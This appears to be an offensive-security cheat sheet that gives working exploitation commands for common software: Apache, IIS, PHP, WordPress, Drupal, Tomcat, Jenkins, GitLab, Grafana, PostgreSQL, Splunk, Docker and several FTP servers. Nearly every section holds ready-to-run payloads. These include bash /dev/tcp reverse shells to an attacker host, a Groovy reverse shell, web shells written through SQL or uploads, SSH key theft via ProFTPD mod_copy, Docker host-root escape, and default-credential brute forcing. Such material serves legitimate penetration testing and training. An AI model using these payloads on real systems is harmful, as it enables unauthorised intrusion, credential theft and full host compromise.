msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.2 LPORT=443 -f exe -o shell.exe
Payload size: 460 bytes
Saved as: shell.exe
Transfer to target, execute, catch with nc
Upgrade to TTY shell
After getting basic shell — Full interactive shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
Ctrl+Z
stty raw -echo; fg
export TERM=xterm
Example Output
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@target:/var/www$ ^Z
[1]+ Stopped
$ stty raw -echo; fg
www-data@target:/var/www$ export TERM=xterm
(Now have full interactive shell with tab complete)
revshells.com
Generate any reverse shell — Bookmark this
https://www.revshells.com/
Example Output
Visit https://www.revshells.com/
Select: Bash -i, Python3, PHP, PowerShell #3
Enter: IP and Port
Copy generated payload
(Auto-generates reverse shells for any language)
Common Applications
Exploitation techniques for well-known applications you'll encounter on engagements. Each app page includes a description of what it is, default credentials, known exploit paths, and links to vulnerability databases for version-specific research.
Browse by category:
- Web Servers & Frameworks — Apache, Nginx, IIS, Node.js, Flask, Django, PHP
- CMS Platforms — WordPress, Drupal, Joomla, CMS Made Simple, Magento, Moodle
- Application Servers & Admin Panels — Tomcat, Jenkins, GitLab, Webmin, Grafana, phpMyAdmin, PostgreSQL, Elasticsearch, Nagios, Splunk, Docker API
- Service-Specific Exploits — ProFTPD, vsftpd, Samba, Exim, Dovecot, OpenSSH, CUPS
Universal vuln research links:
| Resource | URL |
|---|---|
| SearchSploit (local) | searchsploit <app> <version> |
| Exploit-DB | exploit-db.com |
| CVE Details | cvedetails.com |
| HackTricks | book.hacktricks.wiki |
| NVD (NIST) | nvd.nist.gov |
| GitHub Advisory | github.com/advisories |
Web Servers & Frameworks
Web servers and application frameworks you'll encounter serving content on ports 80, 443, 8080, and others. Misconfigurations and debug modes are the primary attack surface.
Apache / Nginx Misconfigs
What it is: The two most popular web servers on the internet. Apache serves ~30% and Nginx ~34% of all websites. Misconfigurations like exposed server-status, .htaccess abuse, alias traversal, and Shellshock are the main attack vectors.
Default ports: 80, 443, 8080
Vuln research:
- Apache CVEs — CVE Details
- Nginx CVEs — CVE Details
- SearchSploit:
searchsploit apache/searchsploit nginx - HackTricks — Apache
Apache server-status exposure
Reveals active connections and URLs — Information disclosure
curl http://$IP/server-status
curl http://$IP/server-info
Apache .htaccess tricks
If you can upload .htaccess — Execute arbitrary extensions as PHP
# Upload .htaccess with:
AddType application/x-httpd-php .txt
# Now any .txt file executes as PHP
Nginx alias traversal
Misconfigured alias directive — Path traversal to read files
# If config has: location /files { alias /var/www/files/; }
curl http://$IP/files../etc/passwd
Apache mod_cgi shellshock (CVE-2014-6271)
RCE via CGI scripts — If /cgi-bin/ scripts exist
gobuster dir -u http://$IP/cgi-bin/ -w /usr/share/wordlists/dirb/common.txt -x sh,cgi,pl
curl -H "User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/$LHOST/4444 0>&1" http://$IP/cgi-bin/script.sh
Check for default pages and info
Quick info gathering on web servers
nikto -h http://$IP
# Check: /phpinfo.php, /info.php, /.git/, /.env
IIS (Internet Information Services)
What it is: Microsoft's web server, bundled with Windows Server. Serves ASP, ASPX, and static content. Common on Windows-based targets and often found alongside Active Directory environments.
Default ports: 80, 443, 8080
Vuln research:
Identify IIS version
Headers reveal version and OS — Determines attack surface
curl -sI http://$IP/ | grep -i server
nmap -sV -p 80,443 $IP
Example Output
Server: Microsoft-IIS/10.0
IIS 6.0 = Windows Server 2003 (very old, lots of exploits)
IIS 7.5 = Windows Server 2008 R2
IIS 8.5 = Windows Server 2012 R2
IIS 10.0 = Windows Server 2016/2019
IIS shortname enumeration
Tilde (~) vulnerability — Reveal hidden file/directory names
# Use IIS-ShortName-Scanner:
java -jar iis_shortname_scanner.jar http://$IP/
# Or manual:
curl -sI "http://$IP/~1/.aspx"
# 404 = exists, 400 = doesn't exist
IIS WebDAV exploitation
If WebDAV is enabled — Upload files directly
davtest -url http://$IP/
cadaver http://$IP/
# Upload ASPX web shell:
curl -T shell.aspx http://$IP/shell.aspx
# If .aspx blocked, upload as .txt then MOVE:
curl -X MOVE -H "Destination: http://$IP/shell.aspx" http://$IP/shell.txt
IIS 6.0 RCE (CVE-2017-7269)
Buffer overflow in WebDAV — Windows Server 2003 IIS 6.0
python2 iis6_exploit.py $IP 80 $LHOST 4444
# Or Metasploit:
use exploit/windows/iis/iis_webdav_scstoragepathfromurl
web.config for sensitive info
IIS configuration file — May contain credentials and connection strings
# Try to read via LFI or directory traversal:
curl http://$IP/web.config
# Common locations:
C:\inetpub\wwwroot\web.config
C:\web.config
Example Output
<connectionStrings>
<add connectionString="Server=localhost;Database=mydb;User Id=sa;Password=SuperSecret123;" />
</connectionStrings>
Default IIS files and directories
Check for information disclosure
# Files:
/iisstart.htm # Default page
/aspnet_client/ # ASP.NET client files
/web.config # Configuration
/_vti_bin/ # FrontPage extensions
/_vti_inf.html # FrontPage version info
# Brute force:
gobuster dir -u http://$IP -w /usr/share/wordlists/dirb/common.txt -x asp,aspx,config,txt
Node.js / Express
What it is: JavaScript runtime (Node.js) with Express as the most popular web framework. Deserialization attacks, prototype pollution, and SSRF are the primary vulnerabilities. Look for X-Powered-By: Express header.
Default ports: 3000, 8080, 8443
Vuln research:
Detect Node.js
Headers and error pages reveal the framework
curl -sI http://$IP/ | grep -i "x-powered-by"
# "X-Powered-By: Express" = Node.js/Express
Node.js deserialization RCE
Unsafe unserialize() — RCE via crafted cookie or input
# If the app uses node-serialize, craft IIFE payload:
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('bash -i >& /dev/tcp/$LHOST/4444 0>&1')}()"}
# Base64 encode and inject into vulnerable cookie/parameter
Prototype pollution
Modify Object.prototype — Can lead to RCE or auth bypass
curl -X POST http://$IP/api -H "Content-Type: application/json" -d '{"__proto__":{"admin":true}}'
SSRF in Node.js
Server-side request forgery — Access internal services
curl "http://$IP/fetch?url=http://127.0.0.1:3000/admin"
curl "http://$IP/fetch?url=file:///etc/passwd"
Flask / Django
What it is: Python web frameworks. Flask is lightweight (uses Werkzeug/Jinja2), Django is full-featured. Flask debug mode (Werkzeug debugger) is an instant RCE. Jinja2 SSTI is the other primary attack vector.
Default ports: 5000 (Flask), 8000 (Django), 80, 443
Vuln research:
Detect Flask/Django
Headers and debug pages reveal the framework
curl -sI http://$IP/ | grep -i server
# Werkzeug = Flask
Werkzeug debugger RCE
Flask debug mode exposed — Interactive Python console
curl http://$IP/console
# If you see the Werkzeug debugger console:
# Enter: import os; os.popen('id').read()
# If PIN protected, calculate from /etc/passwd, /sys/class/net/eth0/address, /etc/machine-id
Flask SSTI (Jinja2)
Server-side template injection — Test with math expressions
curl "http://$IP/search?q={{7*7}}"
# RCE:
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
Django debug mode
Exposes settings, SQL queries, and paths — Information disclosure
curl http://$IP/nonexistent_path_12345
# Debug page reveals: URL patterns, installed apps, database settings, SECRET_KEY
Django admin panel
Default admin interface — Try common credentials
curl http://$IP/admin/
# Default: admin:admin, admin:password
PHP
What it is: The most common server-side scripting language on the web. Powers WordPress, Drupal, Joomla, and countless custom apps. Misconfigurations and dangerous functions are the main attack vectors.
Vuln research:
Identify PHP version
Check headers, phpinfo, and error pages
curl -sI http://$IP/ | grep -i "x-powered-by"
curl http://$IP/phpinfo.php
curl http://$IP/info.php
PHP wrapper attacks (LFI)
Use PHP stream wrappers to read source code or achieve RCE
# Read source code as base64:
curl "http://$IP/index.php?page=php://filter/convert.base64-encode/resource=config"
# RCE via data wrapper:
curl "http://$IP/index.php?page=data://text/plain,<?php system('id'); ?>"
# RCE via input wrapper (POST body becomes code):
curl -X POST "http://$IP/index.php?page=php://input" -d "<?php system('id'); ?>"
# Expect wrapper:
curl "http://$IP/index.php?page=expect://id"
PHP type juggling
Loose comparison (==) bypass — Authentication bypass
# If login uses: if ($password == $user_input)
# Send password as integer 0:
curl -X POST http://$IP/login.php -d "user=admin&password=0"
# In PHP: "secretpass" == 0 evaluates to TRUE (loose comparison)
PHP deserialization
Unserialize() with user input — Object injection to RCE
# Look for: unserialize($_GET['data']) or similar
# Craft serialized PHP object with magic methods (__wakeup, __destruct)
# Tools: phpggc for generating payloads
phpggc -l # List available chains
phpggc Laravel/RCE1 system id # Generate payload
PHP disable_functions bypass
If dangerous functions are disabled — Techniques to bypass
# Check what's disabled:
curl http://$IP/phpinfo.php | grep disable_functions
# Bypass methods:
# 1. LD_PRELOAD + mail() / putenv()
# 2. FFI (PHP 7.4+)
# 3. pcntl_exec if available
# 4. Chankro tool for automated bypass
Dangerous PHP functions
Functions that enable RCE — Look for these in source code
system() exec() shell_exec()
passthru() popen() proc_open()
pcntl_exec() eval() assert()
preg_replace() (with /e flag) create_function()
include() require() file_get_contents()
CMS Platforms
Content Management Systems are high-value targets because they're everywhere, frequently unpatched, and often have known exploit paths. Always check the version first.
WordPress
What it is: The most popular CMS on the internet, powering ~40% of all websites. Plugins and themes are the primary attack surface — the core is generally secure when updated.
Default ports: 80, 443
Vuln research:
Enumerate WordPress
Full enumeration — Users, plugins, themes, versions
wpscan --url http://$IP/ -e ap,at,u --api-token YOUR_TOKEN
Example Output
[+] WordPress version 5.7.2
[+] User(s) Identified:
- admin
- editor
[+] Plugins Found:
- wp-file-manager 6.0 (vulnerable!)
Brute force WordPress login
Target /wp-login.php with found usernames — Use xmlrpc for speed
wpscan --url http://$IP/ -U admin -P /usr/share/wordlists/rockyou.txt --password-attack xmlrpc
Example Output
[+] Performing password attack on Xmlrpc against 1 user/s
[SUCCESS] - admin / monkey123
RCE via Theme Editor
Edit a PHP theme file to inject a shell — Requires admin access
# Appearance → Theme Editor → 404.php
# Replace content with:
<?php system($_GET['cmd']); ?>
# Visit: http://$IP/wp-content/themes/twentytwentyone/404.php?cmd=id
Example Output
uid=33(www-data) gid=33(www-data)
RCE via Plugin Upload
Upload a malicious plugin ZIP — Requires admin access
# Create malicious plugin
echo '<?php system($_GET["cmd"]); ?>' > shell.php
zip plugin-shell.zip shell.php
# Plugins → Add New → Upload Plugin → Install → Activate
# Visit: http://$IP/wp-content/plugins/shell.php?cmd=id
WP File Manager RCE (CVE-2020-25213)
Unauthenticated file upload — wp-file-manager < 6.9
curl -F 'cmd=upload' -F 'target=l1_Lw' -F 'upload[]=@shell.php' http://$IP/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php
Extract credentials from wp-config.php
Database creds stored in plaintext — Check for password reuse
cat /var/www/html/wp-config.php | grep -i "DB_"
Example Output
define('DB_NAME', 'wordpress');
define('DB_USER', 'wp_admin');
define('DB_PASSWORD', 'SuperSecretDBPass!');
define('DB_HOST', 'localhost');
Try this password on SSH, FTP, other services
Drupal
What it is: Enterprise-grade CMS used by governments and large organizations. Known for critical unauthenticated RCE vulnerabilities (Drupalgeddon series). Always check the version via CHANGELOG.txt.
Default ports: 80, 443
Vuln research:
Identify Drupal version
Check CHANGELOG.txt or meta tags — Version determines exploit path
curl -s http://$IP/CHANGELOG.txt | head -5
curl -s http://$IP/ | grep 'name="Generator"'
droopescan scan drupal -u http://$IP/
Example Output
Drupal 7.57, 2018-02-21
(Drupal 7 < 7.58 = Drupalgeddon2)
Drupalgeddon2 (CVE-2018-7600)
Unauthenticated RCE on Drupal < 7.58 — One of the most reliable exploits
python3 drupalgeddon2.py http://$IP/
# Or use Metasploit:
use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS $IP
run
Drupalgeddon3 (CVE-2018-7602)
Authenticated RCE on Drupal < 7.59 — Requires any valid user account
python3 drupa7-CVE-2018-7602.py http://$IP/ -u admin -p password -c "id"
RCE via PHP Filter module
Enable PHP Filter then inject code — Requires admin access
# Modules → Enable "PHP filter"
# Content → Add content → Basic page
# Text format: PHP code
# Body: <?php system($_GET['cmd']); ?>
Joomla
What it is: Popular open-source CMS, third most used after WordPress and Drupal. Extensions and components are the main attack surface. Admin panel at /administrator/.
Default ports: 80, 443
Vuln research:
Enumerate Joomla
Version, components, and configuration files — Use joomscan
joomscan -u http://$IP/
curl -s http://$IP/administrator/manifests/files/joomla.xml | grep version
Joomla default paths
Key files and directories — Check all of these
/administrator/ # Admin login
/configuration.php # DB creds (if readable)
/README.txt # Version info
/robots.txt # Hidden paths
RCE via Template Editing
Edit a template PHP file — Requires admin access
# Extensions → Templates → Templates → Protostar → index.php
# Add: system($_GET['cmd']);
# Visit: http://$IP/index.php?cmd=id
Joomla configuration.php
Contains database credentials — Check for password reuse
cat /var/www/html/configuration.php | grep -E "(user|password|host|db)"
Example Output
public $user = 'joomla_admin';
public $password = 'J00mla_Sup3r!';
public $db = 'joomla_db';
CMS Made Simple
What it is: Lightweight CMS for small websites. Known for a blind SQL injection vulnerability in versions below 2.2.10 that dumps admin credentials.
Default ports: 80, 443
Vuln research:
Identify version
Check /doc/CHANGELOG.txt — Version determines SQLi availability
curl -s http://$IP/doc/CHANGELOG.txt | head -10
SQLi (CVE-2019-9053)
Blind SQLi on CMS Made Simple < 2.2.10 — Dumps admin credentials
python3 cmsms_sqli.py -u http://$IP/ --crack -w /usr/share/wordlists/rockyou.txt
Example Output
[+] Salt for password found: xxxxxxxx
[+] Username found: admin
[+] Email found: admin@site.com
[+] Password found: SuperSecret
Magento
What it is: E-commerce CMS platform owned by Adobe. Handles payment processing, making it a high-value target. Shoplift and other bugs allow unauthenticated admin access and RCE.
Default ports: 80, 443
Vuln research:
Identify Magento version
Check specific files and headers
curl -s http://$IP/RELEASE_NOTES.txt | head -5
curl -s http://$IP/magento_version
curl -s http://$IP/ | grep "Magento"
# Admin panel usually at: /admin or /index.php/admin
Magento Shoplift (CVE-2015-1397)
SQL injection → Admin access — Magento < 1.9.2.0
python2 shoplift.py http://$IP/
# Creates admin account: forme:forme
Magento authenticated RCE
After admin access — Install malicious package or edit templates
# System → Filesystem → IDE → Edit a PHP file
# Or install a malicious Magento Connect package
# Or use Froghopper attack:
# 1. Admin → Allow symlinks in template settings
# 2. Upload PHP shell as image (via category)
# 3. Create newsletter template with symlink to shell
Magento database credentials
app/etc/local.xml or app/etc/env.php — Plaintext DB creds
cat /var/www/html/app/etc/local.xml | grep -A5 "connection"
cat /var/www/html/app/etc/env.php | grep -A5 "connection"
Moodle
What it is: Open-source learning management system (LMS) used by universities and schools. Found on educational targets. Admin accounts can execute PHP code through plugins and themes.
Default ports: 80, 443
Vuln research:
Identify Moodle version
Check specific paths and source code
curl -s http://$IP/ | grep "moodle"
curl -s http://$IP/lib/upgrade.txt | head -5
curl -s http://$IP/theme/upgrade.txt | head -5
# Admin login: /login/index.php
Moodle RCE via Spell Check (CVE-2020-14321)
Teacher role escalation to admin → RCE — Moodle < 3.9
# Requires teacher account
# Enrol yourself as manager in a course → gain admin
# Then: Site Administration → Plugins → Install plugins → Upload malicious plugin ZIP
Moodle RCE via calculated questions
If you have teacher or admin access — PHP code execution
# Quiz → Add Question → Calculated
# In answer formula: {=system('id')}
# Or use the Tex filter if enabled for command execution
Moodle config.php
Database credentials in plaintext
cat /var/www/html/moodle/config.php | grep -E "(dbhost|dbname|dbuser|dbpass)"
Example Output
$CFG->dbhost = 'localhost';
$CFG->dbname = 'moodle';
$CFG->dbuser = 'moodle_admin';
$CFG->dbpass = 'M00dle_Pass!';
Application Servers & Admin Panels
Management interfaces, monitoring dashboards, and application servers. These often run on non-standard ports and frequently have default credentials or unauthenticated access.
- Apache Tomcat
- Jenkins
- GitLab
- Webmin
- Grafana
- phpMyAdmin
- PostgreSQL / pgAdmin
- Elasticsearch / Kibana
- Nagios
- Splunk
- Docker API
Apache Tomcat
What it is: Apache's Java servlet container. Serves Java web applications (WAR files). The /manager interface allows deploying applications — if you can access it, you get RCE by deploying a malicious WAR.
Default ports: 8080, 8443, 8009 (AJP)
Vuln research:
Identify Tomcat version
Check headers and default pages — Version determines available exploits
curl -s http://$IP:8080 | grep -i tomcat
curl -s http://$IP:8080/docs/ | head -5
Example Output
Apache Tomcat/9.0.31
If you see /manager or /host-manager paths, try default creds
Try default credentials on Manager
Tomcat ships with well-known defaults — Instant RCE if they work
# Common default creds:
# tomcat:tomcat
# admin:admin
# tomcat:s3cret
# admin:tomcat
# role1:tomcat
curl -u tomcat:tomcat http://$IP:8080/manager/html
Example Output
HTTP/1.1 200 OK
If you get 200 = you're in the manager console
If 401 = try other default creds
If 403 = manager is restricted to localhost (try from pivot)
Brute force Tomcat manager
Hydra or Metasploit against /manager/html — Use a targeted wordlist
hydra -C /usr/share/seclists/Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt http-get://$IP:8080/manager/html
Example Output
[8080][http-get] host: 10.10.10.5 login: tomcat password: s3cret
Deploy WAR shell via Manager (GUI)
Upload malicious WAR file through manager console — Gives you a web shell or reverse shell
msfvenom -p java/jsp_shell_reverse_tcp LHOST=$LHOST LPORT=4444 -f war -o shell.war
# Upload via Manager GUI: "WAR file to deploy" -> Browse -> Deploy
# Then visit: http://$IP:8080/shell/
Example Output
Created shell.war (1.5KB)
After deploy, trigger at http://10.10.10.5:8080/shell/
Catch with: nc -lvnp 4444
Deploy WAR shell via curl
Script the WAR upload without using the GUI — Useful for automation
curl -u tomcat:tomcat -T shell.war "http://$IP:8080/manager/text/deploy?path=/shell"
curl http://$IP:8080/shell/
Example Output
OK - Deployed application at context path [/shell]
Tomcat text-based manager
Alternative manager endpoint — Sometimes accessible when HTML manager is blocked
curl -u tomcat:tomcat "http://$IP:8080/manager/text/list"
curl -u tomcat:tomcat "http://$IP:8080/manager/text/serverinfo"
Example Output
OK - Listed applications for virtual host localhost
/:running:0:ROOT
/manager:running:0:manager
/docs:running:0:docs
Read tomcat-users.xml
If you have file read (LFI) — Contains plaintext credentials
# Default locations:
/usr/share/tomcat9/etc/tomcat-users.xml
/opt/tomcat/conf/tomcat-users.xml
/var/lib/tomcat9/conf/tomcat-users.xml
C:\Program Files\Apache Software Foundation\Tomcat 9.0\conf\tomcat-users.xml
Example Output
<user username="admin" password="SuperSecret123" roles="manager-gui,admin-gui"/>
Tomcat Ghostcat (CVE-2020-1938)
AJP connector on port 8009 — Read files or achieve RCE on Tomcat < 9.0.31
# Check if AJP port is open
nmap -p 8009 $IP
# Exploit
python3 ajpShooter.py http://$IP:8009 /WEB-INF/web.xml read
Example Output
[*] Reading file /WEB-INF/web.xml
<web-app>
<servlet>...
Reveals internal configuration, sometimes credentials
Jenkins
What it is: Open-source CI/CD automation server. The /script console provides Groovy code execution which means instant RCE. Frequently found with weak or no authentication.
Default ports: 8080, 50000
Vuln research:
Access Jenkins Script Console
/script endpoint allows Groovy execution — Instant RCE if accessible
# Check if accessible (no auth or with found creds)
curl http://$IP:8080/script
Groovy reverse shell
Execute via Script Console — Full system shell
# Paste in /script console:
String host="$LHOST";int port=4444;String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try{p.exitValue();break;}catch(Exception e){}};p.destroy();s.close();
Jenkins default credentials
Common defaults to try — Often left unchanged
# Default creds:
# admin:admin
# admin:password
# jenkins:jenkins
# Check for signup enabled: http://$IP:8080/signup
Read credentials from Jenkins
Decrypt stored secrets — Jenkins stores creds in XML files
# If you have filesystem access:
cat /var/lib/jenkins/credentials.xml
cat /var/lib/jenkins/secrets/master.key
cat /var/lib/jenkins/secrets/hudson.util.Secret
# Use jenkins-decrypt tools to recover plaintext passwords
Create a Freestyle Project for RCE
Build step with shell command — Works with any Jenkins access
# New Item → Freestyle Project → Build → Execute shell
# Enter: bash -i >& /dev/tcp/$LHOST/4444 0>&1
# Click Build Now → catch shell
GitLab
What it is: Self-hosted Git repository manager with CI/CD. Public registration may be enabled, exposing internal source code. Multiple critical RCE CVEs in recent years.
Default ports: 80, 443, 8080
Vuln research:
Check GitLab version
Accessible via API or login page — Version determines exploit availability
curl -s http://$IP/api/v4/version
curl -s http://$IP/help | grep -i "GitLab"
GitLab RCE (CVE-2021-22205)
Unauthenticated RCE via image upload — GitLab 11.9-13.10.2
python3 gitlab_rce.py -u http://$IP -c "bash -i >& /dev/tcp/$LHOST/4444 0>&1"
Register account and explore
Public registration may be enabled — Access internal repos
# http://$IP/users/sign_up
# After login, check: /explore/projects
# Look for hardcoded credentials in repos
Webmin
What it is: Web-based system administration tool for Unix/Linux. Manages users, services, configs through a browser interface. Usually runs on port 10000 with HTTPS.
Default ports: 10000
Vuln research:
Identify Webmin version
Usually on port 10000 — Check login page source
curl -sk https://$IP:10000/ | grep -i version
Webmin RCE (CVE-2019-15107)
Unauthenticated RCE on Webmin 1.890-1.920 — Password reset backdoor
curl -sk "https://$IP:10000/password_change.cgi" -d 'user=root&pam=&expired=2&old=id%7Cid&new1=test&new2=test'
Default credentials
Common Webmin logins — Check for password reuse with system accounts
# root:<system password>
# admin:admin
# Webmin uses PAM by default = system credentials work
Grafana
What it is: Open-source monitoring and visualization platform. Displays dashboards from data sources like Prometheus, InfluxDB, and Elasticsearch. Known for a critical unauthenticated LFI vulnerability.
Default ports: 3000
Vuln research:
Identify Grafana version
Usually on port 3000 — Check login page
curl -s http://$IP:3000/api/health
Grafana LFI (CVE-2021-43798)
Unauthenticated arbitrary file read — Grafana 8.0.0 - 8.3.0
curl --path-as-is "http://$IP:3000/public/plugins/alertlist/../../../../../../../../etc/passwd"
# Try different plugins: graph, dashlist, table, text, pluginlist
Read Grafana database for creds
Grab the SQLite database — Contains admin password hash and data source creds
curl --path-as-is "http://$IP:3000/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db" -o grafana.db
sqlite3 grafana.db "SELECT login,password,salt FROM user;"
sqlite3 grafana.db "SELECT name,type,url,user,password,basic_auth_password FROM data_source;"
Default credentials
Try before anything else — Often unchanged
# admin:admin
curl -u admin:admin http://$IP:3000/api/org
phpMyAdmin
What it is: Web interface for MySQL database management. If accessible, you can read/write databases and potentially write web shells via SQL. Almost always worth trying default credentials.
Default ports: 80, 443 (usually at /phpmyadmin path)
Vuln research:
Try default credentials
Common defaults and empty passwords — Often left misconfigured
# root: (empty)
# root:root
# root:password
# root:toor
# Check version: http://$IP/phpmyadmin/README
Write a web shell via SQL
INTO OUTFILE to write PHP shell — Requires FILE privilege
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
Read files via SQL
LOAD_FILE to read system files — Requires FILE privilege
SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE('/var/www/html/config.php');
PostgreSQL / pgAdmin
What it is: Powerful open-source relational database. Unlike MySQL, PostgreSQL supports native command execution via COPY TO PROGRAM (v9.3+), making it a direct path to RCE when accessible.
Default ports: 5432 (PostgreSQL), 5050 (pgAdmin)
Vuln research:
Connect to PostgreSQL (port 5432)
Direct database access — Try default credentials
psql -h $IP -U postgres
# Default creds: postgres:postgres, postgres:(empty)
Command execution via PostgreSQL
COPY TO/FROM PROGRAM — Execute OS commands
-- Read files:
CREATE TABLE readfile(output text);
COPY readfile FROM '/etc/passwd';
SELECT * FROM readfile;
-- Execute commands (PostgreSQL 9.3+):
COPY (SELECT '') TO PROGRAM 'id';
-- Reverse shell:
COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/$LHOST/4444 0>&1"';
Write files via PostgreSQL
COPY TO — Write web shells
COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php';
pgAdmin default credentials
Web interface for PostgreSQL — Often exposed
# Default: pgadmin4@pgadmin.org / admin
# Check: http://$IP:5050 or http://$IP/pgadmin
Elasticsearch / Kibana
What it is: Distributed search and analytics engine. Stores data in JSON indices. Frequently exposed without authentication, leaking credentials, PII, and application data. Kibana is its visualization frontend.
Default ports: 9200 (Elasticsearch), 5601 (Kibana)
Vuln research:
Check Elasticsearch (port 9200)
Unauthenticated by default — Dump all indices
curl -s http://$IP:9200/
curl -s http://$IP:9200/_cat/indices?v
curl -s http://$IP:9200/_search?pretty
Example Output
{
"name" : "node-1",
"cluster_name" : "elasticsearch",
"version" : { "number" : "7.17.0" }
}
Indices may contain credentials, PII, logs
Dump specific index
Search for sensitive data — Credentials, tokens, PII
curl -s "http://$IP:9200/<index>/_search?pretty&size=100"
curl -s "http://$IP:9200/_all/_search?q=password&pretty"
Kibana (port 5601)
Dashboard may expose sensitive data — Check for open access
curl -s http://$IP:5601/api/status
# If accessible, browse dashboards for credentials/data
Nagios
What it is: Open-source IT infrastructure monitoring system. Web interface for viewing host/service status. Authenticated users can often execute commands through the CGI interface, and multiple RCE CVEs exist.
Default ports: 80, 443 (path: /nagios or /nagiosxi)
Vuln research:
Default credentials
Try before anything else — Often unchanged
# Nagios Core: nagiosadmin:nagiosadmin
# Nagios XI: nagiosadmin:PASSW0RD
curl -u nagiosadmin:nagiosadmin http://$IP/nagios/
Nagios XI authenticated RCE
Command injection via admin panel — Multiple vectors
# Nagios XI < 5.6.6: Authenticated RCE
# Admin → Configure → Core Config Manager → Commands
# Create command with injected shell:
# Command Line: /bin/bash -c 'bash -i >& /dev/tcp/$LHOST/4444 0>&1'
# Or use Metasploit:
use exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce
Read Nagios config for creds
Configuration files contain database and API credentials
cat /usr/local/nagiosxi/html/config.inc.php
cat /usr/local/nagios/etc/resource.cfg
# Contains $USER1$ macro paths and potentially credentials
Splunk
What it is: Enterprise SIEM and log analysis platform. The management interface allows installing custom apps, which can contain arbitrary Python or shell scripts. Admin access = RCE.
Default ports: 8000 (web), 8089 (management API)
Vuln research:
Default credentials
Splunk free/trial often has defaults
# admin:changeme
# admin:admin
curl -u admin:changeme https://$IP:8089/services/auth/login -k
Splunk RCE via custom app
Upload malicious app — Executes arbitrary code
# Create a malicious Splunk app:
mkdir -p splunk_shell/bin splunk_shell/default
echo '#!/bin/bash\nbash -i >& /dev/tcp/$LHOST/4444 0>&1' > splunk_shell/bin/shell.sh
chmod +x splunk_shell/bin/shell.sh
cat > splunk_shell/default/inputs.conf << CONF
[script://./bin/shell.sh]
disabled = false
interval = 60
sourcetype = shell
CONF
tar -czf splunk_shell.tar.gz splunk_shell/
# Upload via: Apps → Manage Apps → Install App from File
# Or via API:
curl -k -u admin:changeme https://$IP:8089/services/apps/local -F name=splunk_shell -F filename=true -F update=true --data-binary @splunk_shell.tar.gz
Splunk Universal Forwarder
Management port 8089 — Often has default creds on forwarders
# Default: admin:changeme
# Forwarders can execute scripts:
curl -k -u admin:changeme https://$IP:8089/services/data/inputs/script -d name="/bin/bash -c 'bash -i >& /dev/tcp/$LHOST/4444 0>&1'" -d interval=60
Docker API
What it is: Docker's remote management API. If exposed without authentication (which happens more than it should), you can create containers, mount the host filesystem, and escape to the host as root.
Default ports: 2375 (HTTP), 2376 (HTTPS)
Vuln research:
Check for exposed Docker API
Unauthenticated access — Full host compromise
curl http://$IP:2375/version
curl http://$IP:2375/containers/json
Example Output
{"Version":"20.10.7","ApiVersion":"1.41","Os":"linux","Arch":"amd64"}
If you see this = full Docker control without authentication
Mount host filesystem and get root
Create a container with host root mounted — Read/write everything
# List images:
curl http://$IP:2375/images/json
# Create container with host root mounted:
curl -X POST http://$IP:2375/containers/create -H "Content-Type: application/json" -d '{"Image":"<image_name>","Cmd":["/bin/bash"],"Binds":["/:/host"],"Tty":true}'
# Start container:
curl -X POST http://$IP:2375/containers/<container_id>/start
# Exec into container:
curl -X POST http://$IP:2375/containers/<container_id>/exec -H "Content-Type: application/json" -d '{"Cmd":["cat","/host/etc/shadow"],"AttachStdout":true}'
Docker socket escape
If you're inside a container with /var/run/docker.sock mounted
# Check:
ls -la /var/run/docker.sock
# Use docker client inside container:
docker -H unix:///var/run/docker.sock run -v /:/host -it alpine chroot /host bash
Service-Specific Exploits
Exploitation techniques for network services (FTP, mail, SMB, etc.). These target the service itself rather than a web application running on top.
ProFTPD
What it is: Popular open-source FTP server for Unix/Linux. The mod_copy module (enabled by default) allows unauthenticated file copying on the server, which is a common exploit path.
Default ports: 21
Vuln research:
Check ProFTPD version
Banner grab reveals version — Determines exploit path
nc -nv $IP 21
nmap -sV -p 21 $IP
Example Output
220 ProFTPD 1.3.5 Server ready.
ProFTPD mod_copy (CVE-2015-3306)
Copy files on the server without authentication — ProFTPD 1.3.5
nc $IP 21
SITE CPFR /etc/passwd
350 File or directory exists, ready for destination name
SITE CPTO /var/www/html/passwd.txt
250 Copy successful
curl http://$IP/passwd.txt
Copy SSH key for access
Use mod_copy to steal or plant SSH keys — Instant shell access
nc $IP 21
SITE CPFR /home/user/.ssh/id_rsa
SITE CPTO /var/www/html/id_rsa
curl http://$IP/id_rsa -o id_rsa
chmod 600 id_rsa
ssh -i id_rsa user@$IP
ProFTPD RCE (CVE-2019-12815)
mod_copy in ProFTPD up to 1.3.5b — Arbitrary file copy
searchsploit proftpd
# Use exploit/unix/ftp/proftpd_modcopy_exec in Metasploit
vsftpd
What it is: "Very Secure FTP Daemon" — lightweight FTP server for Linux. Version 2.3.4 was infamously backdoored with a hardcoded shell triggered by a smiley face in the username.
Default ports: 21 (FTP), 6200 (backdoor shell)
Vuln research:
vsftpd 2.3.4 Backdoor
Smiley face backdoor — Triggered by username containing :)
nc $IP 21
USER backdoor:)
PASS anything
# Opens shell on port 6200
nc $IP 6200
Metasploit vsftpd backdoor
Automated exploitation — Fastest method
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS $IP
run
Check if backdoor is present
Not all 2.3.4 installations have the backdoor — Verify first
nmap -sV -p 21 $IP
